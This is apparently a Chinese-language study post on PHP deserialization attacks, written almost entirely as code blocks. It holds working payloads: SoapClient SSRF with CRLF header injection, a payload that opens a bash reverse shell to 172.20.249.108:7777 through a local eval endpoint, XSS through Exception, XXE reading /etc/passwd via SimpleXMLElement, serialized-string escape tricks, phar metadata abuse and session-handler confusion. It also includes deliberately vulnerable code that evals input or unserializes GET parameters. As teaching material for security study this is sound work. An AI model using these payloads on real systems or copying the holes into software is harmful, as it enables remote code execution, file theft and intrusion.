PHP反序列化学习

1
2
3
4
5
6
7

<?php
class persion{
    public $name="eastjun";
    public $age=19;
    public $isAdmin=true;
}
echo serialize(new persion());

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

__construct()     //构造函数，创建对象时调用
__destruct()      //析构函数，对象被销毁时调用
__call()          //在对象中调用一个不可访问方法时
__callStatic()    //在静态上下文中调用一个不可访问方法时
__get()           //读取不可访问属性的值时
__set()           //在给不可访问属性赋值时
__iset()          //当对不可访问属性调用 isset() 或 empty() 时
__unset()         //当对不可访问属性调用 unset() 时
__sleep()         //序列化对象前调用
__wakeup()        //反序列化恢复对象前调用
__toString()      //对象被当成字符串使用时
__invoke()        //尝试以调用函数的方式调用一个对象时

1

apt install -y libxml++2 && docker-php-ext-install soap

1
2
3
4
5
6

<?php
$a = new SoapClient(null,array('uri'=>'aaaa', 'location'=>'http://172.20.249.108:7777/eastjun'));
$b = serialize($a);
echo urlencode($b);
$c = unserialize($b);
$c->notexist();

1
2
3
4
5
6
7

<?php
$poc = "Cookie: PHPSESSID=123456";
$a = new SoapClient(null,array('uri'=>"aaaa\r\n".$poc."\r\n", 'location'=>'http://172.20.249.108:7777/eastjun'));
$b = serialize($a);
echo urlencode($b);
$c = unserialize($b);
$c->notexist();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       eval($_POST['shell']);
   }
else{
    echo "not localhost";
}
$a=unserialize($_GET['ser']);
$a->notexist();
?>

1
2
3
4
5

<?php
$poc = "shell=".urlencode('system("bash -c \'bash -i >& /dev/tcp/172.20.249.108/7777 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/shell.php',"user_agent"=>"Eastrome\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);

1
2
3
4

<?php
$poc = "<script>alert(1);</script>";
$b = serialize(new Exception($poc));
echo unserialize($b);

1
2
3
4
5
6
7
8

<?php
if(class_exists($classname)&&isset($_GET['name'])&&isset($_GET['param'])&&isset($_GET['param2'])){
    $classname = $_GET['name'];
    $param = $_GET['param'];
    $param2 = $_GET['param2'];
    $a = new $classname($param,$param2);
    echo $a;
}

1

?name=SimpleXMLElement&param=<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>%26xxe;</root>&param2=2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

<?php
function filter($str){
    return str_replace("jan", "hacker", $str);
}
class A{
    public $user = "jun";
    public $file = "pic.jpg";
    public function show(){
        echo '<img src="data:image/jpg;base64,'.base64_encode(file_get_contents($this->file)).'" alt="" />';
    }
}
$a = new A();
if(isset($_GET['user'])){
    $a->user=$_GET['user'];
    $a = unserialize(filter(serialize($a)));
}
echo $a->file;
$a->show();

1
2
3
4

//序列化字符串：
O:1:"A":2:{s:4:"user";s:66:"janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后：
O:1:"A":2:{s:4:"user";s:66:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

<?php
function filter($str){
    return preg_replace("/eastjun|hack/", "", $str);
}
class A{
    public $user = "jun";
    public $pass = "123456";
    public $file = "pic.jpg";
    public function show(){
        echo '<img src="data:image/jpg;base64,'.base64_encode(file_get_contents($this->file)).'" alt="" />';
    }
}
$a = new A();
if(isset($_GET['user'])&&isset($_GET['pass'])){
    $a->user=$_GET['user'];
    $a->pass=$_GET['pass'];
    $a = unserialize(filter(serialize($a)));
}
echo $a->file;
$a->show();

1
2
3
4

//序列化字符串：
O:1:"A":3:{s:4:"user";s:18:"eastjuneastjunhack";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后：
O:1:"A":3:{s:4:"user";s:18:"";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<?php
highlight_file(__FILE__);
class A{
	public $cmd = "";
	public function __destruct(){
		eval($this->cmd);
	}
}

if(isset($_GET['file'])){
	$file = $_GET['file'];
	echo file_exists($file);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

<?php
Class A{
	public $cmd = "phpinfo();";
	public function __destruct(){
		echo $this->cmd;
	}
}
$a = new A();
$p = new Phar("eastjun.phar",0);
$p->startBuffering();
$p->setMetadata($a);
$p->setStub("GIF89a__HALT_COMPILER();");
$p->addFromString("test.txt","a test text");
$p->stopBuffering();

1
2
3
4
5
6

//php处理器
name|s:7:"eastjun";
//php_serialize处理器
a:1:{s:4:"name";s:7:"eastjun";}
//php_binary处理器
names:7:"eastjun";

1
2
3
4
5
6
7
8
9

<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION["name"]='eastjun';
if(isset($_GET['name'])){
    $_SESSION["name"]=$_GET['name'];
}
var_dump($_SESSION);
?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<?php
//使用默认的php处理器处理session
class A{
	public $cmd = "phpinfo();";
	public function __destruct(){
		eval($this->cmd);
	}
}
session_start();
var_dump($_SESSION);